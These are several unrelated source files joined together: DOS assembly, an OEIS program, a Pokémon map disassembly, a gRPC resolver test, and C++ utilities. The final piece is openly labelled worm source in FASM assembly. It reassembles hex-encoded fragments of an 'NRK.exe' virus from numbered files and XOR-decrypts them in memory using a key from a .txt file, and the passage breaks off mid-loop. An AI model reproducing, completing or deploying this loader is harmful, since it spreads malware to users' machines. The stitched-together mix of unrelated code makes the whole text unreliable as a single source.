PAST SCANNED OPERAND ; DX=SELECTED RESULT BUFFER CMP AX,SYSPRM_EX_EOL ;AN000; IS THAT THE END OF THE PARMS? ;IF NOT, LOOP BACK AND FIND OUT ; WHAT THAT PARM IS ;AN000;END OF LIST JE SKIPO JMP $$DO1 SKIPO: MOV DX,FINE ;AN000;REPORT THAT PARSER WENT OK ;AN000;FINISHED WITH DOS COMMAND LINE $$SR1: RET ;AN000;RETURN TO CALLER PARSER ENDP ;AN000; HEADER <DISPLAY_OPTIONS - DISPLAY OPTIONS MSG> ; = = = = = = = = = = = = ; SUBROUTINE NAME : DISPLAY_OPTIONS * ; * ; INPUT : NONE * ; * ; OUTPUT : NONE * ; * ; FUNCTION : Displays all the lines of the user options message on * ; standard output. * ; * ; = = = = = = = = = = = = PUBLIC DISPLAY_OPTIONS DISPLAY_OPTIONS PROC NEAR push di mov di, offset MSGNUM_OPTIONS ; get message DO_LOOP: call SENDMSG ; send this line cmp word ptr[MSGNUM_OPTIONS], MSG_OPTIONS_LAST ; last msg? je DO_DONE ; done if so inc word ptr[MSGNUM_OPTIONS] ; else bump msg number jmp short DO_LOOP ; and go display it. DO_DONE: pop di ret DISPLAY_OPTIONS ENDP ; = = = = = = = = = = = = HEADER <PARSE_ERROR - DISPLAY REASON FOR PARSE ERROR> ;AN000; PARSE_ERROR PROC NEAR ;AN000; ;INPUT: AX - ERROR NUMBER RETURNED FROM PARSE. ; "CURRENT_PARM" - OFFSET INTO COMMAND OF WHERE TO START LOOKING FOR PARM ;OUTPUT: APPROPRIATE ERROR MESSAGE IS PREPARED FOR DISPLAY. ; DX IS SET TO OFFSET OF PARSE ERROR DESCRIPTOR. ; = = = = = = = = = = = = MOV MSGNUM_PARSE,AX ;AN000;PASS MESSAGE NUMBER TO DESCRIPTOR MOV EXITFL,EXPAR ;AN000;ERRORLEVEL CODE TO "PARM ERROR" MOV AX,CURRENT_PARM ;AN003;GET POINTER TO START OF BAD PARM CMP SI,AX ;AN003;HAS THE INDEX TO COMMAND LINE MOVED? ; $IF NE ;AN003;YES, THERE IS A FAULTY PARM JE $$IF13 MOV BYTE PTR [SI],NUL ;AN003;DELIMIT THE BAD PARM MOV SUBLIST_PARSE.SUB_VALUE,AX ;AN000;POINT SUBLIST TO BAD PARM MOV MSGNUM_PARSE.MSG_SUBLIST,OFFSET SUBLIST_PARSE ;AN003;POINT TO SUBLIST MOV MSGNUM_PARSE.MSG_COUNT,ONE_SUBS ;AN003;SET COUNT OF SUBLISTS TO ONE ; $ENDIF ;AN003;INDEX MOVED? $$IF13: MOV DI,OFFSET MSGNUM_PARSE ;AC005;OFFSET TO PARSE ERR DESCRIPTOR CALL SENDMSG ;AN005;DISPLAY ERROR MSG MOV DX,OFFSET MSGNUM_INVALID_PARM2 ;AN005;PASS BACK OFFSET TO HELP MSG RET ;AN000;RETURN TO CALLER PARSE_ERROR ENDP ;AN000; ; = = = = = = = = = = = = PATHLABL DCOMPPAR ;AN013; CSEG ENDS ;AN000; END ;AN000; 
; A022160: First column of spectral array W(e-1). ; 1,5,8,10,13,17,20,22,25,29,30,34,37,41,42,46,49,51,54,58,61,63,67,70,72,75,79,82,84,87,91,92,96,99,103,104,108,111,115,116,120,123,125,128,132,135,137,140,144,146,149,152,156,158,161,164,166,170,173,176,178,182,185,187,190,194,197,199,202,206,207,211,214,218,219,223,226,230,231,235,238,240,243,247,250,252,256,259,261,264,268,271,273,276,280,281,285,288,292,293 mov $2,56 lpb $2 seq $0,210 ; A Beatty sequence: floor(n*(e-1)). sub $0,1 div $2,9 lpe add $0,1
CeladonGameCornerObject: db $f ; border block db $3 ; warps db $11, $f, $7, $ff db $11, $10, $7, $ff db $4, $11, $1, ROCKET_HIDEOUT_1 db $1 ; signs db $4, $9, $c ; CeladonGameCornerText12 db $b ; objects object SPRITE_FOULARD_WOMAN, $2, $6, STAY, DOWN, $1 ; person object SPRITE_MART_GUY, $5, $6, STAY, DOWN, $2 ; person object SPRITE_FAT_BALD_GUY, $2, $a, STAY, LEFT, $3 ; person object SPRITE_FOULARD_WOMAN, $2, $d, STAY, LEFT, $4 ; person object SPRITE_FISHER, $5, $b, STAY, RIGHT, $5 ; person object SPRITE_MOM_GEISHA, $8, $b, STAY, LEFT, $6 ; person object SPRITE_GYM_HELPER, $8, $e, STAY, LEFT, $7 ; person object SPRITE_GAMBLER, $b, $f, STAY, RIGHT, $8 ; person object SPRITE_MART_GUY, $e, $b, STAY, LEFT, $9 ; person object SPRITE_GENTLEMAN, $11, $d, STAY, RIGHT, $a ; person object SPRITE_ROCKET, $9, $5, STAY, UP, $b, OPP_ROCKET, $7 ; warp-to EVENT_DISP GAME_CORNER_WIDTH, $11, $f EVENT_DISP GAME_CORNER_WIDTH, $11, $10 EVENT_DISP GAME_CORNER_WIDTH, $4, $11 ; ROCKET_HIDEOUT_1
/* * * Copyright 2017 gRPC authors. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * */ #include <grpc/support/port_platform.h> #include <grpc/grpc.h> #include <grpc/impl/codegen/grpc_types.h> #include <grpc/support/alloc.h> #include <grpc/support/log.h> #include <grpc/support/string_util.h> #include <grpc/support/sync.h> #include <grpc/support/time.h> #include <string.h> #include <errno.h> #include <fcntl.h> #include <gflags/gflags.h> #include <gmock/gmock.h> #include <thread> #include <vector> #include "test/cpp/util/subprocess.h" #include "test/cpp/util/test_config.h" #include "src/core/ext/filters/client_channel/client_channel.h" #include "src/core/ext/filters/client_channel/resolver.h" #include "src/core/ext/filters/client_channel/resolver/dns/c_ares/grpc_ares_wrapper.h" #include "src/core/ext/filters/client_channel/resolver_registry.h" #include "src/core/ext/filters/client_channel/server_address.h" #include "src/core/lib/channel/channel_args.h" #include "src/core/lib/gpr/env.h" #include "src/core/lib/gpr/host_port.h" #include "src/core/lib/gpr/string.h" #include "src/core/lib/gprpp/orphanable.h" #include "src/core/lib/iomgr/combiner.h" #include "src/core/lib/iomgr/executor.h" #include "src/core/lib/iomgr/iomgr.h" #include "src/core/lib/iomgr/resolve_address.h" #include "src/core/lib/iomgr/sockaddr_utils.h" #include "test/core/util/port.h" #include "test/core/util/test_config.h" // TODO: pull in different headers when enabling this // test on windows. Also set BAD_SOCKET_RETURN_VAL // to INVALID_SOCKET on windows. #ifdef GPR_WINDOWS #include "src/core/lib/iomgr/sockaddr_windows.h" #include "src/core/lib/iomgr/socket_windows.h" #include "src/core/lib/iomgr/tcp_windows.h" #define BAD_SOCKET_RETURN_VAL INVALID_SOCKET #else #include "src/core/lib/iomgr/sockaddr_posix.h" #define BAD_SOCKET_RETURN_VAL -1 #endif using grpc::SubProcess; using std::vector; using testing::UnorderedElementsAreArray; // Hack copied from "test/cpp/end2end/server_crash_test_client.cc"! // In some distros, gflags is in the namespace google, and in some others, // in gflags. This hack is enabling us to find both. namespace google {} namespace gflags {} using namespace google; using namespace gflags; DEFINE_string(target_name, "", "Target name to resolve."); DEFINE_string(expected_addrs, "", "List of expected backend or balancer addresses in the form " "'<ip0:port0>,<is_balancer0>;<ip1:port1>,<is_balancer1>;...'. " "'is_balancer' should be bool, i.e. true or false."); DEFINE_string(expected_chosen_service_config, "", "Expected service config json string that gets chosen (no " "whitespace). Empty for none."); DEFINE_string( local_dns_server_address, "", "Optional. This address is placed as the uri authority if present."); DEFINE_string( enable_srv_queries, "", "Whether or not to enable SRV queries for the ares resolver instance." "It would be better if this arg could be bool, but the way that we " "generate " "the python script runner doesn't allow us to pass a gflags bool to this " "binary."); DEFINE_string(expected_lb_policy, "", "Expected lb policy name that appears in resolver result channel " "arg. Empty for none."); namespace { class GrpcLBAddress final { public: GrpcLBAddress(std::string address, bool is_balancer) : is_balancer(is_balancer), address(std::move(address)) {} bool operator==(const GrpcLBAddress& other) const { return this->is_balancer == other.is_balancer && this->address == other.address; } bool operator!=(const GrpcLBAddress& other) const { return !(*this == other); } bool is_balancer; std::string address; }; vector<GrpcLBAddress> ParseExpectedAddrs(std::string expected_addrs) { std::vector<GrpcLBAddress> out; while (expected_addrs.size() != 0) { // get the next <ip>,<port> (v4 or v6) size_t next_comma = expected_addrs.find(','); if (next_comma == std::string::npos) { gpr_log(GPR_ERROR, "Missing ','. Expected_addrs arg should be a semicolon-separated " "list of <ip-port>,<bool> pairs. Left-to-be-parsed arg is |%s|", expected_addrs.c_str()); abort(); } std::string next_addr = expected_addrs.substr(0, next_comma); expected_addrs = expected_addrs.substr(next_comma + 1, std::string::npos); // get the next is_balancer 'bool' associated with this address size_t next_semicolon = expected_addrs.find(';'); bool is_balancer = gpr_is_true(expected_addrs.substr(0, next_semicolon).c_str()); out.emplace_back(GrpcLBAddress(next_addr, is_balancer)); if (next_semicolon == std::string::npos) { break; } expected_addrs = expected_addrs.substr(next_semicolon + 1, std::string::npos); } if (out.size() == 0) { gpr_log(GPR_ERROR, "expected_addrs arg should be a semicolon-separated list of " "<ip-port>,<bool> pairs"); abort(); } return out; } gpr_timespec TestDeadline(void) { return grpc_timeout_seconds_to_deadline(100); } struct ArgsStruct { gpr_event ev; gpr_atm done_atm; gpr_mu* mu; grpc_pollset* pollset; grpc_pollset_set* pollset_set; grpc_combiner* lock; grpc_channel_args* channel_args; vector<GrpcLBAddress> expected_addrs; std::string expected_service_config_string; std::string expected_lb_policy; }; void ArgsInit(ArgsStruct* args) { gpr_event_init(&args->ev); args->pollset = (grpc_pollset*)gpr_zalloc(grpc_pollset_size()); grpc_pollset_init(args->pollset, &args->mu); args->pollset_set = grpc_pollset_set_create(); grpc_pollset_set_add_pollset(args->pollset_set, args->pollset); args->lock = grpc_combiner_create(); gpr_atm_rel_store(&args->done_atm, 0); args->channel_args = nullptr; } void DoNothing(void* arg, grpc_error* error) {} void ArgsFinish(ArgsStruct* args) { GPR_ASSERT(gpr_event_wait(&args->ev, TestDeadline())); grpc_pollset_set_del_pollset(args->pollset_set, args->pollset); grpc_pollset_set_destroy(args->pollset_set); grpc_closure DoNothing_cb; GRPC_CLOSURE_INIT(&DoNothing_cb, DoNothing, nullptr, grpc_schedule_on_exec_ctx); grpc_pollset_shutdown(args->pollset, &DoNothing_cb); // exec_ctx needs to be flushed before calling grpc_pollset_destroy() grpc_channel_args_destroy(args->channel_args); grpc_core::ExecCtx::Get()->Flush(); grpc_pollset_destroy(args->pollset); gpr_free(args->pollset); GRPC_COMBINER_UNREF(args->lock, nullptr); } gpr_timespec NSecondDeadline(int seconds) { return gpr_time_add(gpr_now(GPR_CLOCK_REALTIME), gpr_time_from_seconds(seconds, GPR_TIMESPAN)); } void PollPollsetUntilRequestDone(ArgsStruct* args) { gpr_timespec deadline = NSecondDeadline(10); while (true) { bool done = gpr_atm_acq_load(&args->done_atm) != 0; if (done) { break; } gpr_timespec time_left = gpr_time_sub(deadline, gpr_now(GPR_CLOCK_REALTIME)); gpr_log(GPR_DEBUG, "done=%d, time_left=%" PRId64 ".%09d", done, time_left.tv_sec, time_left.tv_nsec); GPR_ASSERT(gpr_time_cmp(time_left, gpr_time_0(GPR_TIMESPAN)) >= 0); grpc_pollset_worker* worker = nullptr; grpc_core::ExecCtx exec_ctx; gpr_mu_lock(args->mu); GRPC_LOG_IF_ERROR("pollset_work", grpc_pollset_work(args->pollset, &worker, grpc_timespec_to_millis_round_up( NSecondDeadline(1)))); gpr_mu_unlock(args->mu); } gpr_event_set(&args->ev, (void*)1); } void CheckServiceConfigResultLocked(grpc_channel_args* channel_args, ArgsStruct* args) { const grpc_arg* service_config_arg = grpc_channel_args_find(channel_args, GRPC_ARG_SERVICE_CONFIG); if (args->expected_service_config_string != "") { GPR_ASSERT(service_config_arg != nullptr); GPR_ASSERT(service_config_arg->type == GRPC_ARG_STRING); EXPECT_EQ(service_config_arg->value.string, args->expected_service_config_string); } else { GPR_ASSERT(service_config_arg == nullptr); } } void CheckLBPolicyResultLocked(grpc_channel_args* channel_args, ArgsStruct* args) { const grpc_arg* lb_policy_arg = grpc_channel_args_find(channel_args, GRPC_ARG_LB_POLICY_NAME); if (args->expected_lb_policy != "") { GPR_ASSERT(lb_policy_arg != nullptr); GPR_ASSERT(lb_policy_arg->type == GRPC_ARG_STRING); EXPECT_EQ(lb_policy_arg->value.string, args->expected_lb_policy); } else { GPR_ASSERT(lb_policy_arg == nullptr); } } #ifdef GPR_WINDOWS void OpenAndCloseSocketsStressLoop(int dummy_port, gpr_event* done_ev) { sockaddr_in6 addr; memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_port = htons(dummy_port); ((char*)&addr.sin6_addr)[15] = 1; for (;;) { if (gpr_event_get(done_ev)) { return; } std::vector<int> sockets; for (size_t i = 0; i < 50; i++) { SOCKET s = WSASocket(AF_INET6, SOCK_STREAM, IPPROTO_TCP, nullptr, 0, WSA_FLAG_OVERLAPPED); ASSERT_TRUE(s != BAD_SOCKET_RETURN_VAL) << "Failed to create TCP ipv6 socket"; gpr_log(GPR_DEBUG, "Opened socket: %d", s); char val = 1; ASSERT_TRUE(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) != SOCKET_ERROR) << "Failed to set socketopt reuseaddr. WSA error: " + std::to_string(WSAGetLastError()); ASSERT_TRUE(grpc_tcp_set_non_block(s) == GRPC_ERROR_NONE) << "Failed to set socket non-blocking"; ASSERT_TRUE(bind(s, (const sockaddr*)&addr, sizeof(addr)) != SOCKET_ERROR) << "Failed to bind socket " + std::to_string(s) + " to [::1]:" + std::to_string(dummy_port) + ". WSA error: " + std::to_string(WSAGetLastError()); ASSERT_TRUE(listen(s, 1) != SOCKET_ERROR) << "Failed to listen on socket " + std::to_string(s) + ". WSA error: " + std::to_string(WSAGetLastError()); sockets.push_back(s); } // Do a non-blocking accept followed by a close on all of those sockets. // Do this in a separate loop to try to induce a time window to hit races. for (size_t i = 0; i < sockets.size(); i++) { gpr_log(GPR_DEBUG, "non-blocking accept then close on %d", sockets[i]); ASSERT_TRUE(accept(sockets[i], nullptr, nullptr) == INVALID_SOCKET) << "Accept on dummy socket unexpectedly accepted actual connection."; ASSERT_TRUE(WSAGetLastError() == WSAEWOULDBLOCK) << "OpenAndCloseSocketsStressLoop accept on socket " + std::to_string(sockets[i]) + " failed in " "an unexpected way. " "WSA error: " + std::to_string(WSAGetLastError()) + ". Socket use-after-close bugs are likely."; ASSERT_TRUE(closesocket(sockets[i]) != SOCKET_ERROR) << "Failed to close socket: " + std::to_string(sockets[i]) + ". WSA error: " + std::to_string(WSAGetLastError()); } } return; } #else void OpenAndCloseSocketsStressLoop(int dummy_port, gpr_event* done_ev) { // The goal of this loop is to catch socket // "use after close" bugs within the c-ares resolver by acting // like some separate thread doing I/O. // It's goal is to try to hit race conditions whereby: // 1) The c-ares resolver closes a socket. // 2) This loop opens a socket with (coincidentally) the same handle. // 3) the c-ares resolver mistakenly uses that same socket without // realizing that its closed. // 4) This loop performs an operation on that socket that should // succeed but instead fails because of what the c-ares // resolver did in the meantime. sockaddr_in6 addr; memset(&addr, 0, sizeof(addr)); addr.sin6_family = AF_INET6; addr.sin6_port = htons(dummy_port); ((char*)&addr.sin6_addr)[15] = 1; for (;;) { if (gpr_event_get(done_ev)) { return; } std::vector<int> sockets; // First open a bunch of sockets, bind and listen // '50' is an arbitrary number that, experimentally, // has a good chance of catching bugs. for (size_t i = 0; i < 50; i++) { int s = socket(AF_INET6, SOCK_STREAM, 0); int val = 1; ASSERT_TRUE(setsockopt(s, SOL_SOCKET, SO_REUSEPORT, &val, sizeof(val)) == 0) << "Failed to set socketopt reuseport"; ASSERT_TRUE(setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) == 0) << "Failed to set socket reuseaddr"; ASSERT_TRUE(fcntl(s, F_SETFL, O_NONBLOCK) == 0) << "Failed to set socket non-blocking"; ASSERT_TRUE(s != BAD_SOCKET_RETURN_VAL) << "Failed to create TCP ipv6 socket"; gpr_log(GPR_DEBUG, "Opened fd: %d", s); ASSERT_TRUE(bind(s, (const sockaddr*)&addr, sizeof(addr)) == 0) << "Failed to bind socket " + std::to_string(s) + " to [::1]:" + std::to_string(dummy_port) + ". errno: " + std::to_string(errno); ASSERT_TRUE(listen(s, 1) == 0) << "Failed to listen on socket " + std::to_string(s) + ". errno: " + std::to_string(errno); sockets.push_back(s); } // Do a non-blocking accept followed by a close on all of those sockets. // Do this in a separate loop to try to induce a time window to hit races. for (size_t i = 0; i < sockets.size(); i++) { gpr_log(GPR_DEBUG, "non-blocking accept then close on %d", sockets[i]); if (accept(sockets[i], nullptr, nullptr)) { // If e.g. a "shutdown" was called on this fd from another thread, // then this accept call should fail with an unexpected error. ASSERT_TRUE(errno == EAGAIN || errno == EWOULDBLOCK) << "OpenAndCloseSocketsStressLoop accept on socket " + std::to_string(sockets[i]) + " failed in " "an unexpected way. " "errno: " + std::to_string(errno) + ". Socket use-after-close bugs are likely."; } ASSERT_TRUE(close(sockets[i]) == 0) << "Failed to close socket: " + std::to_string(sockets[i]) + ". errno: " + std::to_string(errno); } } } #endif void CheckResolverResultLocked(void* argsp, grpc_error* err) { EXPECT_EQ(err, GRPC_ERROR_NONE); ArgsStruct* args = (ArgsStruct*)argsp; grpc_channel_args* channel_args = args->channel_args; grpc_core::ServerAddressList* addresses = grpc_core::FindServerAddressListChannelArg(channel_args); gpr_log(GPR_INFO, "num addrs found: %" PRIdPTR ". expected %" PRIdPTR, addresses->size(), args->expected_addrs.size()); GPR_ASSERT(addresses->size() == args->expected_addrs.size()); std::vector<GrpcLBAddress> found_lb_addrs; for (size_t i = 0; i < addresses->size(); i++) { grpc_core::ServerAddress& addr = (*addresses)[i]; char* str; grpc_sockaddr_to_string(&str, &addr.address(), 1 /* normalize */); gpr_log(GPR_INFO, "%s", str); found_lb_addrs.emplace_back( GrpcLBAddress(std::string(str), addr.IsBalancer())); gpr_free(str); } if (args->expected_addrs.size() != found_lb_addrs.size()) { gpr_log(GPR_DEBUG, "found lb addrs size is: %" PRIdPTR ". expected addrs size is %" PRIdPTR, found_lb_addrs.size(), args->expected_addrs.size()); abort(); } EXPECT_THAT(args->expected_addrs, UnorderedElementsAreArray(found_lb_addrs)); CheckServiceConfigResultLocked(channel_args, args); if (args->expected_service_config_string == "") { CheckLBPolicyResultLocked(channel_args, args); } gpr_atm_rel_store(&args->done_atm, 1); gpr_mu_lock(args->mu); GRPC_LOG_IF_ERROR("pollset_kick", grpc_pollset_kick(args->pollset, nullptr)); gpr_mu_unlock(args->mu); } void CheckResolvedWithoutErrorLocked(void* argsp, grpc_error* err) { EXPECT_EQ(err, GRPC_ERROR_NONE); ArgsStruct* args = (ArgsStruct*)argsp; gpr_atm_rel_store(&args->done_atm, 1); gpr_mu_lock(args->mu); GRPC_LOG_IF_ERROR("pollset_kick", grpc_pollset_kick(args->pollset, nullptr)); gpr_mu_unlock(args->mu); } void RunResolvesRelevantRecordsTest(void (*OnDoneLocked)(void* arg, grpc_error* error)) { grpc_core::ExecCtx exec_ctx; ArgsStruct args; ArgsInit(&args); args.expected_addrs = ParseExpectedAddrs(FLAGS_expected_addrs); args.expected_service_config_string = FLAGS_expected_chosen_service_config; args.expected_lb_policy = FLAGS_expected_lb_policy; // maybe build the address with an authority char* whole_uri = nullptr; GPR_ASSERT(gpr_asprintf(&whole_uri, "dns://%s/%s", FLAGS_local_dns_server_address.c_str(), FLAGS_target_name.c_str())); gpr_log(GPR_DEBUG, "resolver_component_test: --enable_srv_queries: %s", FLAGS_enable_srv_queries.c_str()); grpc_channel_args* resolver_args = nullptr; // By default, SRV queries are disabled, so tests that expect no SRV query // should avoid setting any channel arg. Test cases that do rely on the SRV // query must explicitly enable SRV though. if (FLAGS_enable_srv_queries == "True") { grpc_arg srv_queries_arg = grpc_channel_arg_integer_create( const_cast<char*>(GRPC_ARG_DNS_ENABLE_SRV_QUERIES), true); resolver_args = grpc_channel_args_copy_and_add(nullptr, &srv_queries_arg, 1); } else if (FLAGS_enable_srv_queries != "False") { gpr_log(GPR_DEBUG, "Invalid value for --enable_srv_queries."); abort(); } // create resolver and resolve grpc_core::OrphanablePtr<grpc_core::Resolver> resolver = grpc_core::ResolverRegistry::CreateResolver(whole_uri, resolver_args, args.pollset_set, args.lock); grpc_channel_args_destroy(resolver_args); gpr_free(whole_uri); grpc_closure on_resolver_result_changed; GRPC_CLOSURE_INIT(&on_resolver_result_changed, OnDoneLocked, (void*)&args, grpc_combiner_scheduler(args.lock)); resolver->NextLocked(&args.channel_args, &on_resolver_result_changed); grpc_core::ExecCtx::Get()->Flush(); PollPollsetUntilRequestDone(&args); ArgsFinish(&args); } TEST(ResolverComponentTest, TestResolvesRelevantRecords) { RunResolvesRelevantRecordsTest(CheckResolverResultLocked); } TEST(ResolverComponentTest, TestResolvesRelevantRecordsWithConcurrentFdStress) { // Start up background stress thread int dummy_port = grpc_pick_unused_port_or_die(); gpr_event done_ev; gpr_event_init(&done_ev); std::thread socket_stress_thread(OpenAndCloseSocketsStressLoop, dummy_port, &done_ev); // Run the resolver test RunResolvesRelevantRecordsTest(CheckResolvedWithoutErrorLocked); // Shutdown and join stress thread gpr_event_set(&done_ev, (void*)1); socket_stress_thread.join(); } } // namespace int main(int argc, char** argv) { grpc_init(); grpc::testing::TestEnvironment env(argc, argv); ::testing::InitGoogleTest(&argc, argv); ParseCommandLineFlags(&argc, &argv, true); if (FLAGS_target_name == "") { gpr_log(GPR_ERROR, "Missing target_name param."); abort(); } if (FLAGS_local_dns_server_address != "") { gpr_log(GPR_INFO, "Specifying authority in uris to: %s", FLAGS_local_dns_server_address.c_str()); } auto result = RUN_ALL_TESTS(); grpc_shutdown(); return result; }
#include "stdafx.h" #include "../xrcdb/ispatial.h" #include "icollidable.h" #include "xr_collide_form.h" ICollidable::ICollidable() { collidable.model = NULL; ISpatial* self = dynamic_cast<ISpatial*> (this); if (self) self->spatial.type |= STYPE_COLLIDEABLE; }; ICollidable::~ICollidable() { xr_delete ( collidable.model ); };
/* * misc.cpp * * Created on: Apr 20, 2012 * Author: Leonard Harris */ #include "misc.hh" // Check whether a variable is NAN bool Util::isNAN(double x){ return x != x; } // Remove leading and trailing whitespace from a string void Util::remove_whitespace(string& s){ // Remove leading whitespace while (s.at(0) == ' ' || s.at(0) == '\t') s.erase(0,1); // Remove trailing whitespace while (s.at(s.size()-1) == ' ' || s.at(s.size()-1) == '\t') s.erase(s.size()-1,1); } double Util::Mratio(double a, double b, double z){ // Original Fortran code written by William Hlavacek (2018) // Tranlsated to Python and then C++ by Leonard A. Harris (2019) //# c This routine calculates the ratio M(a+1,b+1,z)/M(a,b,z) //# c as a continued fraction f in the class of Gauss's continued fraction //# c [Gauss CF (1813)] //# c using the modified method of Lentz WJ (1976) [Applied Optics 15:668-671] //# c [Thompson IJ, Barnett AR (1986) J Comput Phys 64: 490-509]. //# c M(a,b,z) = {}_1F_1(a;b;z) is Kummer's (confluent hypergeometric) function //# c [Kummer EE (1837) Crelle's Journal 17:228-242]. //# c In general, we take f to have the following form: //# c f = q_0 + \frac{p_1}{q_1 +} \frac{p_2}{q_2 +} \frac{p_3}{q_3 +} \cdots //# c For the ratio of interest, //# c p_1 = 1 //# c p_2 = z*[a-(b+0)]/[(b+0)*(b+1)] //# c p_3 = z*(a+1) /[(b+1)*(b+2)] //# c p_4 = z*[a-(b+1)]/[(b+2)*(b+3)] //# c p_5 = z*(a+2) /[(b+3)*(b+4)] //# c q_0 = 0 //# c q_j = 1 for j = 1, 2, ... //# c [Van Vleck EB (1901) Ann Math 3: 1-18]. double eps = 1e-16; double tiny = 1e-32; int j,iodd,ieven; int odd,oddsave,even,evensave; double f,fsave,C,Csave,D,Dsave,err; double p,q,num,den,Delta; //# c initialize //# c In general, we set f_0 = q_0. //# c However, if q_0 = 0, we set f_0 = tiny instead. //# c We then set C_0 = f_0 and D_0 = 0. fsave=tiny; Csave=fsave; Dsave=0.0; //# c We set err to a value greater than eps. err=1.0+eps; odd=1; even=0; iodd=0; ieven=0; j=0; while(err > eps){ j=j+1; //# c calculate p_j and q_j //# c p_1 = 1 //# c p_j = num_j/den_j for j = 2, 3, ... //# c den_j = [b+(j-2)]*[b+(j-1)] for j = 2, 3, ... //# c if j>1 is even, then num_j = z*[a-(b+(j-2)/2)] = z*(a-(b+ieven-1)) //# c if j>1 is odd, then num_j = z*[a+(j-1)/2] = z*(a+iodd) if(j == 1){ p=1.0; } else if(j > 1){ den=(b+double(j-2))*(b+double(j-1)); if(odd == 1){ iodd=iodd+1; num=z*(a+double(iodd)); } else if(even == 1){ ieven=ieven+1; num=z*(a-(b+double(ieven-1))); } else{ cout << "Error: iodd=" << iodd << ", ieven=" << ieven << endl; exit(1); } p=num/den; } else{ cout << "Error: j=" << j << endl; exit(1); } //# c q_j = 1 for j = 1, 2, ... q=1.0; //# c calculate jth terms in recurrence relations //# c C_j = q_j + p_j/C_{j-1} //# c D_j = 1/(q_j + p_j*D_{j-1}) D=q+p*Dsave; if(abs(D) < tiny){ D=tiny; } C=q+p/Csave; if(abs(C) < tiny){ C=tiny; } D=1.0/D; //# c current approximation //# c f_j = C_j*D_j*f_{j-1} Delta=C*D; f=Delta*fsave; //# c if Delta is sufficiently close to 1, then the current approximation is acceptable. err=abs(Delta-1.0); //# c prepare for next iteration fsave=f; Csave=C; Dsave=D; oddsave=odd; evensave=even; odd=evensave; even=oddsave; } return f; }
include '..\FASM\INCLUDE\win32ax.inc' .data memory_alloc dd 0x0 memory_counter dd 0x0 searchstr_fn db '*.' fn_ext db '000', 0x0 stSearchTxt db '*.txt', 0x0 hSearchFile dd 0x0 dot_position dd 0x0 trash dd 0x0 trash2 dd 0x0 hCreFile dd 0x0 key_txt_size dd 0x0 hCrFiMap dd 0x0 hMapView dd 0x0 FALSE_F dd 0x0 hWormFile dd 0x0 worm_file db 'NRK.exe',0x0 WIN32_FIND_DATA: .dwFileAttributes dd ? .ftCreationTime FILETIME .ftLastAccessTime FILETIME .ftLastWriteTime FILETIME .nFileSizeHigh dd ? .nFileSizeLow dd ? .dwReserved0 dd ? .dwReserved1 dd ? .cFileName rb 260 .cAlternateFileName rb 14 ;end WIN32_FIND_DATA STARTUP_struct: StartUp_struct_cb dd 0 StartUp_struct_lpReserved dd 0 StartUp_struct_lpDesktop dd 0 StartUp_struct_lpTitle dd 0 StartUp_struct_dwX dd 0 StartUp_struct_dwY dd 0 StartUp_struct_dwXSize dd 0 StartUp_struct_dwYSize dd 0 StartUp_struct_dwXCountChars dd 0 StartUp_struct_dwYCountChars dd 0 StartUp_struct_dwFillAttribute dd 0 StartUp_struct_dwFlags dd 0 StartUp_struct_wShowWindow dw 0 StartUp_struct_cbReserved2 dw 0 StartUp_struct_lpReserved2 dd 0 StartUp_struct_hStdInput dd 0 StartUp_struct_hStdOutput dd 0 StartUp_struct_hStdError dd 0 PROCESS_INFO_struct: PROCESS_INFORMATION_hProcess dd 0 PROCESS_INFORMATION_hThread dd 0 PROCESS_INFORMATION_dwProcessId dd 0 PROCESS_INFORMATION_dwThreadId dd 0 .code start: invoke VirtualAlloc, \ 0x0, \ 0x10000, \ ; 64 KB RAM 0x1000, \ 0x4 mov [memory_alloc], eax find_files_with_sp_name: invoke FindFirstFile, \ ; Find a file with special filenames searchstr_fn, \ ; Pointer to filename (*.NNN - where NNN is the counter) WIN32_FIND_DATA ; Pointer to WIN32_FIND_DATA structure mov [hSearchFile], eax ; Save search handle cmp eax, INVALID_HANDLE_VALUE ; Last File? je decrypt_worm_code ; If yes, let's decrypt the worm-code call change_search_str ; Increase the extention (counter) xor ecx, ecx ; Counter=0 call FileName_To_Memory ; Write the filename to memory invoke FindClose, \ ; Close search-handle [hSearchFile] jmp find_files_with_sp_name nop ; Due to a bug in CMD.EXE I have to change the offset ; of the decrypt_worm_code lable. decrypt_worm_code: xor ecx, ecx hex2bin_loop: mov eax, [memory_alloc] add eax, ecx mov ax, word [eax] call hex_to_binary mov ebx, ecx shr ebx, 1 add ebx, [memory_alloc] mov [ebx], al add ecx, 2 cmp ecx, [memory_counter] js hex2bin_loop invoke FindFirstFile, \ ; Find the *.txt file with the key to decrypt stSearchTxt, \ WIN32_FIND_DATA invoke FindClose, \ ; Close the Search-Handle eax invoke CreateFile, \ ; Open the .txt file (with the decrytion-key) WIN32_FIND_DATA.cFileName, \ GENERIC_READ or GENERIC_WRITE, \ 0x0, \ 0x0, \ OPEN_EXISTING, \ FILE_ATTRIBUTE_NORMAL, \ 0x0 mov [hCreFile], eax invoke GetFileSize, \ ; Get the Filesize of the file [hCreFile], \ ; =Size of the key key_txt_size mov [key_txt_size], eax invoke CreateFileMapping, \ ; Create a Map of the File [hCreFile], \ 0x0, \ PAGE_READWRITE, \ 0x0, \ [key_txt_size], \ 0x0 mov [hCrFiMap], eax invoke MapViewOfFile, \ ; Create a MapViewOfFile [hCrFiMap], \ ; The key with the decrytion key FILE_MAP_ALL_ACCESS, \ 0x0, \ 0x0, \ [key_txt_size] mov [hMapView], eax xor ecx, ecx ; ECX=COUNTER=0x0 decrypt_memory_code: mov eax, [hMapView] ; EAX=Start of decrytion-key add eax, ecx ; EAX=Current position of decrytion key mov al, byte [eax] ; al=Content of current position of decrytion key mov ebx, [memory_alloc] ; EBX=Start of encryted virus in memory add ebx, ecx ; EBX=Current position of encryted virus mov ah, byte [ebx] ; ah=Content of current position of encryted virus xor ah, al ; AH=Encrypted Byte XOR KEY mov byte [ebx], ah ; Write AH to Memory inc ecx ; Increase the counter mov eax, [memory_counter] ; Size of the virus*2 